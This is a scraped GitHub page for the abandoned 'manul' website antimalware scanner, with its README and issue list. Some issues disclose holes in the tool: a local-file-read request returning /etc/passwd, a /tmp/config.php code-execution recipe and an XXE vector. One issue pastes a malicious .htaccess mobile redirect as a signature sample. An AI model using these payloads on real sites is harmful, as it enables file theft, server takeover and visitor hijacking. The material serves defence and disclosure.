antimalware / manul Goto Github PK

View Code? Open in Web Editor NEW

350.0 52.0 67.0 760 KB

Antimalware tool for websites

CSS 7.75% JavaScript 72.89% Smarty 2.48% ApacheConf 0.01% HTML 3.04% PHP 13.84%

manul's Introduction

Warning: the project is no longer being maintained due to the lack of applicability.

====================

Manul: a simple extensible antimalware tool for websites

An utility which allows to analyze website logs made by Manul.

Warning: there is no auto-update in scanner. It is strongly recommended to remove the scanner from the server after scanning due to possible security issues.

==================== Log example:

<website_info>
    <server_environment>
        <script_filename>/home/www/mysite.com/web_root/pat/index.php</script_filename>
        <document_root>/home/www/mysite.com/web_root</document_root>
        <http_host>mysite.com</http_host>
        <admin_email>[email protected]</admin_email>
        <time>2014.02.20 18:24:16</time>
        <server_addr>37.139.18.79</server_addr>
        <software>nginx/1.2.1</software>
        <server_gateway>CGI/1.1</server_gateway>
        <server_signature/>
        <server_hostname>badcode.tk</server_hostname>
        <platform_name>Linux 3.5.0-17-generic #28-Ubuntu SMP Tue</platform_name>
        <server_architecture>x86_64</server_architecture>
        <username>uid: 1000, gid: 1000</username>
        <path>/home/www/mysite.com/web_root/pat</path>
    </server_environment>
    <files>
        <file>
          <path>./wp-admin/css/colors/ectoplasm/colors-rtl.min.css</path>
          <size>40965</size>
          <ctime>1392903651</ctime>
          <mtime>1390501511</mtime>
          <owner>www-data</owner>
          <group>www-data</group>
          <access>0664</access>
          <md5>d148388c28a8d4c3b25b4c669849067f</md5>
        </file>
        <file pos="1261" snippet="CiAg...ycvJw== " detected="c">
            <path>./server_malware/swfobject.js</path>
            <size>1393</size>
            <ctime>1392903651</ctime>
            <mtime>1371623397</mtime> 
            <owner>pwnz0r</owner>
            <group>pwnz0rz</group> 
            <access>0664</access>
			<md5>497453e10b83c16186c7c3d31dc0a70d</md5>
       </file>
    </files>
</website_info>

Recipe example:

<recipe>
    <quarantine>./images/evil.php</quarantine> 
    <delete>./static/js/g00g1e-ana1ytics.js</delete>  
</recipe>

Licence

Peter Volkov, [email protected]

Greg Zemskov, [email protected]

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

  Redistributions of source code must retain the above copyright notice, this
  list of conditions and the following disclaimer.

  Redistributions in binary form must reproduce the above copyright notice, this
  list of conditions and the following disclaimer in the documentation and/or
  other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

manul's People

Contributors

Stargazers

Watchers

manul's Issues

Align the language flags in scanner by center

https://yadi.sk/i/aR4Zsh7wdYqN5

Add new column 'Filter type' for filters in Analyzer

Possible types: whitelist or previous scan log.

Show the error text in a separate field

The "invalid password" error text is currently shown as a header, replacing the previous one with itself: https://yadi.sk/i/YBCT2O79dYqTG

Instead, we must keep the "Enter password" header intact, and show the error text below in a red field, just like we show other error texts.

Table width in Analyzer changes when additional columns are added/removed

ETA

I'm dissapointed because the indication about the checking is not informative.

There is no information about that checking can be executed or can be started successfully!

So, it will be useful to add the following tests - we will see that installation is correct and server settings is suitable and compatible for that av tool...

Also, does frontend will work fine if HTTPS enabled on the website?

How much time Manul will be processing the entire resource in the common case (default installation of the most popular CMS)? Could Yandex's team add the tests that will be checks the installation and the classic indicator with percentages and ETA time (estimated time)? Also, it will be usefull to make only one diff between sequental launches for reporting which files was deleted, modified or uploaded.

Execuse me, but I not found at the Yandex helpdesk the contact form to send questions about that to the support team, so I decided to post here my questions.

Also, another moment. I have small trouble. It's a tickler for me. Your tool use modules that may not present at the most default installations of the webservers (and at the first run tool not to try found requirements). Installing of them in some cases can't be processed quickly without special requests to the support team (for example, on our instance yum is absent... ). Maybe, in the future releases you can also reduce external dependencies for this product. Also, as you must know using domxml in latest version of PHP is a bad practice. So, while not ext/dom from standard distribution of PHP?
Thanks a lot.

Ajax critical error

Добрый день!
Не получается проверить систему.

Could not properly handle AJAX request {"readyState":4,"responseText":"\nMalwareDetector.inc.php: timeout while scanning /bhome/part1/01/sp/dysplazia.ru/www/wp-content/plugins/revslider/rs-plugin/images/gradient/g30.png\nTry to increase an interval in settings.\n","status":200,"statusText":"OK"}

Switching languages in Analyzer (two bugs)

When opened, shows English text while the Russian flag is marked as active.
The English flag is inactive (clicking on it gives no effect).

Просто не работает

После того как нажимаю "начать проверку" начинает крутится колесо загрузки и все. Крутилось около 2ух часов. До этого уже запускал Manul на другом сайте, позавчера, работал сразу же. Проблема у вас на сервере ?

Add CLI for quick scan on local site copy

Please :-)

Дополнение к базе

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://boxat.ru/ [L,R=302]

ForceType application/force-download

Add check "Hash" in PHP module

White display!

I enabled error reporting:
Call to undefined function hash()

White list generator

You have a tool for creating white lists for Manul?

Может удалить все сайты на сервере (!!)

Есть 10 сайтов:

/var/www/site1
/var/www/site2
/var/www/site3
...
/var/www/site10

Положил manul в папку
/var/www/manul

и настроил NGINX, чтобы манул был виден по адресу manul.site2.ru

Размещать в /var/www/site2/manul -> http://site2.ru/manul/ не стал, так как нужно проверить все сайты, а не только site2, копировать эту папку в каждый сайт - маразм.

Запускаю манул, ожидая, что он поднимется на уровень вверх по папкам и проверит site1...site10, он проверяет ТОЛЬКО СЕБЯ - в списке результатов проверки только
/var/www/classes/*
/var/www/static/*
/var/www/tmp/*
/var/www/index.php

Сам у себя находит вирусы (в файле с базой вирусов, видимо) и сам себя предлагает вылечить. Ну, OK.

Делаю вывод, что где бы не лежала папка /manul, она проверяет только то что внутри этой папки. Хоть это не очень совпадает с инструкцией по установке - положите в .../site/manul и зайдите на site.ru/manul – но я ориентируюсь на то, как работает по факту.

Переношу файлы манула из /var/www/manul в /var/www – чтобы проверить уже все сайты. За ночь картинка с вращающимся кружком не изменилась. Жив он, мертв, какую часть проверил... не понятно.

После того, как манул не справился с задачей, нажимаю в web-интерфейсе манула кнопку удалить, и... вместо удаления своих папок, а именно

/var/www/classes
/var/www/static
/var/www/tmp
/var/www/index.php

он сносит все мои сайты. В папке /var/www - пусто!

Без актуального бэкапа было бы не смешно...

Run Manul from console.

Does console mode aviable? I need to check huge site about 180G and as I can see from scan_queue.manul.tmp.txt manul also checking images, so it will take a lot of time to complete this through web. In console mode I'm able to run process in screen to complete check.

Auth bypass vulnerability

After fix #60 you`ve added new vulnerability.
Attacker can directly access site_name/manul/tmp/password_hash.php and read password hash.

.htaccess protection of .tmp firectory works only when Apache web server has been used.
But there are a lot of sites, that uses Nginx/Lighttpd + php_fpm module.

Poc: http://i.imgur.com/wN8gEZX.png

Solution is simple: You must store password hash as previous way, but forget about system wide /tmp directory, and warn user when you cannot store hash in local temp dir(remind him to chmod 777)

Как уменьшить скорость сканирования.

Доходит где-то до 13000 файлов из 39000, и сервер перестаёт отвечать, срабатывает ограничение хостинга, может есть возможность уменьшить скорость сканирования, или там таймаут поставить, пускай долго сканирует, но просканирует, а то так толку некакого.

PHP ZIP module

unfortunately, my server owner can not add PHP ZIP module to server. so I can not use manul to check and heal my website :( .
Is there some other way for me?

"InvalidCharacterError: DOM Exception 5" when uploading a log in Safari

Could not properly handle AJAX request "status":200

При завершении сканирования ошибка:
Could not properly handle AJAX request {"readyState":4,"responseText":"","status":200,"statusText":"OK"}

В логах сервера ничего подозрительного:

ххх.ххх.ххх.ххх - - [28/Apr/2015:18:43:09 +0300] "GET /manul-master/src/scanner/index.php?controller=scanner&a=getSignatureScanResult&delay=1 HTTP/1.1" 200 0 "http://609622.virusy.web.hosting-test.net/manul-master/src/scanner/index.php?controller=scanner" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"
ххх.ххх.ххх.ххх - - [28/Apr/2015:18:43:09 +0300] "GET /manul-master/src/scanner/index.php?controller=scanner&a=getSignatureScanResult&delay=1 HTTP/1.1" 200 0 "http://609622.virusy.web.hosting-test.net/manul-master/src/scanner/index.php?controller=scanner" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"
ххх.ххх.ххх.ххх - - [28/Apr/2015:18:43:09 +0300] "GET /manul-master/src/scanner/index.php?controller=scanner&a=getSignatureScanResult&delay=1 HTTP/1.1" 200 0 "http://609622.virusy.web.hosting-test.net/manul-master/src/scanner/index.php?controller=scanner" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"

Суммарно файлов в проверяемой папке - 35001

Не знаю, честно говоря, какая ещё информация нужна для поиска/устранения ошибки.
Поэтому спрашивайте, могу дать всё вплоть до доступов для проверки.

The 'X' close button in a popup ain't working

While clicking anywhere outside the popup does (and closes it).

Executor - checkbox all

При выборе чекбокса "Выбрать все" или "Снять выделение со всех" непосредственно перед лечением, ничего не происходит.
Баг? - https://yadi.sk/i/Fk122UuGgJLrH

Repair calendar in Analyzer

https://yadi.sk/i/SKv8wspQe5pju

Body twice in *.tpl

Тэг дважды указан в шаблонах:

<body>
  <body class="page">

Например первые две ссылки:
https://github.com/antimalware/manul/blob/master/src/scanner/static/templates/executor.tpl#L19
https://github.com/antimalware/manul/blob/master/src/scanner/static/templates/executor_changes.tpl

Local file read security vulnerability

Local file read without authorization is possible.

Request:

GET /manul/index.php?controller=download&f=quarantine HTTP/1.1
Accept-Language: en,en-us;q=0.5
Accept-Encoding: gzip, deflate
Cookie: quarantine_file=/etc/passwd
Connection: keep-alive

Response:

HTTP/1.1 200 OK
Server: nginx/1.7.3
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename=passwd;
Content-Transfer-Encoding: binary
Set-Cookie: quarantine_file=-1; path=/; domain=127.0.0.1; httponly

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
...

Also, $_COOKIE['quarantine_file'] is not encoded from XSS vulnerabilities, but anyway it is not exploitable.

Possibility to drop the previously chosen time interval in Analyzer

Зашифровать сигнатуры из malware_db.xml

Пользователи оставляют манул на хостинге, а антивирусы хостера обнаруживают данный файл как вредоносный и пишут грозные письма. Пример уведомления:

www/domain.ru/manul/static/signatures/malware_db.xml:php.cmdshell.fx29.259.UNOFFICIAL FOUND

httpOnly cookies

Set httponly flag to your auth cookies. Otherwise they can be leaked via XSS vulnerability.
Auth cookie leak in your application lead to arbitrary file deletion, XXE and many other dangerous things.

DataBase analysis

Analysis of the database to injections into the content.

Could not properly handle AJAX request

Could not properly handle AJAX request {"readyState":4,"responseText":"XML path error filePath=/Applications/MAMP/htdocs/popsop-ru.lm/www/wp-client-test.php relativePath=./wp-client-test.php projectRootDir=/Applications/MAMP/htdocs/popsop-ru.lm/www/manul/src/scanner docRoot=/Applications/MAMP/htdocs/popsop-ru.lm/www","status":200,"statusText":"OK"}

Содержимое файла

Также спотыкается на простых файлах содержащих что-то вроде <php echo 'world' ?>

Лечение Drupal

Здравствуйте, коллеги.
Сейчас в Drupal всё чаще вредоносный код пишут сразу в БД.
Естественно, проверки по файлам ничего не дают.
Есть ли у вашей утилиты возможность расширения функционала?
Готов помочь в меру сил с друпалом

Ajax critical error

Ошибка на сайте с CMS Joomla на половине работы, увеличивал время запроса с 5 до 10 сек, не помогает:
Could not properly handle AJAX request {"readyState":4,"responseText":"<html>\r\n<head><title>502 Bad Gateway</title></head>\r\n<body bgcolor=\"white\">\r\n<center><h1>502 Bad Gateway</h1></center>\r\n<hr><center>nginx/1.6.2</center>\r\n</body>\r\n</html>\r\n\r\n\r\n\r\n\r\n\r\n\r\n","status":502,"statusText":"Bad Gateway"}
Запускается по пути /home/b/xxx/site.ru/public_html/manul

Analyzer table layout breaks at screen resolution 1366x768

Could not properly handle AJAX request {"readyState":4,"responseText":"XML path error filePath=/var/www/admin/www/xxx.ru//wp-signup.php

Hello!

I run toolkit on site builded with Wordpress and got error:

Could not properly handle AJAX request {"readyState":4,"responseText":"XML path error filePath=/var/www/admin/www/xxx.ru//wp-signup.php relativePath=./wp-signup.php projectRootDir=/var/www/admin/www/xxx.ru/manul/manul docRoot=/var/www/admin/www/xxxx.ru/","status":200,"statusText":"OK"}

Analyzer first page layout

Scan results for wordpress

Добрый день!
Почти все системные файлы wordpress 4.1.2 отмечены желтым цветом.

Quarantine/Delete bug - wrong lines get marked as strikeout

The video can be downloaded here: https://yadi.sk/d/7iS2H7bffBJGb

I was able to reproduce it, and it still puts the right files in the script (the ones you actually click on), so apparently it's only a visual bug.

Сравнение хешей без строгой типизации

Файл Auth.inc.php
Строка 65: return ($password_hash_from_cookie == $password_hash);
Заменить на return ($password_hash_from_cookie === $password_hash);
Подробности: http://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo

Calendar bug

Empty fields in the calendar can be clicked on, which leads to a non-existing date being chosen. Can we make them unclickable?

https://yadi.sk/i/eqOzY99NfBHek

Ajax critical error

Could not properly handle AJAX request {"readyState":4,"responseText":"\nMalwareDetector.inc.php: timeout while scanning /articles_244_946364613723503f9f7e833a8af29aab.pdf\nTry to increase an interval in settings.\n","status":200,"statusText":"OK"}

Размер файла articles_244_946364613723503f9f7e833a8af29aab.pdf 350 кил, правда если посчитать размер всех файлов. которые на тот момент _скорее всего _ проанализировал Манул - получается 75 метров.

Add version tag to report

Shared hosting remote code execution

During auth phase, manul checks for /tmp/config.php file existense, and if it exist - includes it ;)
Usually, /tmp directory is world writable and accesible by anyone.

So, exploit is simple:

Login via ssh to our shared hosting.
Create file /tmp/config.php with own code, or this can be done via simple php script.
Just wait while someone installs and executes manul on his site.
PWN him.

Манул считает "подозрительными" jQuery. Это нормально?

./template.bootstrap24/jquery-1.11.0.js
./core/js/jquery-1.10.2.min.js
./core/js/jquery-ui-1.10.3.custom.min.js
./core/js/jquery-ui-1.10.4.min.js
./core/js/filemanager/js/jquery.ui.position.js
./core/js/filemanager/js/jquery-ui-1.10.4.custom.js
etc

unlink eroor in ScannerController when removeTempFiles

unlink(/www/mydomain.tld/www/manul/tmp/malware_quarantine.manul.tmp.txt): No such file or directory

На файлах rw-r--r-- (0644), на корневой папке манула rwxr-xr-x (0755), владелец - apache.

Отчёт об ошибке из манула отправил. Логи ningx/httpd чисты. Отчёт scan_log.xml тем не менее создался, корректный.

Последние для Joomla совсем не ищет...

На днях началась массовая атака на сайты с Joomla. Половину их этих файлов, что заливается на сайты сканер в упор не видит! (((

Executor/Quarantine

При лечении, выбранные файлы не перемещаются на карантин.
Сообщение об их перемещении в карантин:
Файл [./wp-content/plugins/cbnet-ping-optimizer/cbnet-ping-optimizer.php] помещен в карантин
Файл [./wp-content/plugins/cbnet-ping-optimizer/include/options-pg.php] помещен в карантин
...
Но файлы остаются по своему прежнему пути.

error_reporting(1);
В логах не нашлось что-то, что могло бы приводить к ошибкам.
Может быть есть решение данной проблемы?

Loop on WordPress site

http://c2n.me/3gOBMXx - сканирует уже час обычный блог на ВП

Potential XXE vulnerability

Manul uses DOMDocument::loadXML that is vulnerable to XXE attacks.While authenticated, attacker can submit specially created XML recipe:

POST /manul/src/scanner/index.php?controller=executor HTTP/1.1

recipe=<XML_Payload>

Payload will be different for every site, and im really too lazy to write it :)
More details you can get here:
https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing
https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/
http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html

Comparison mode

A separate page where the two logs are compared and the following info is shown:

a list of files that changed;
all attributes that changed for every file;
old and new values of all these attributes;

antimalware / manul Goto Github PK

manul's Introduction

Manul: a simple extensible antimalware tool for websites

Licence

manul's People

Contributors

Stargazers

Watchers

Forkers

manul's Issues

Recommend Projects

Recommend Topics

Recommend Org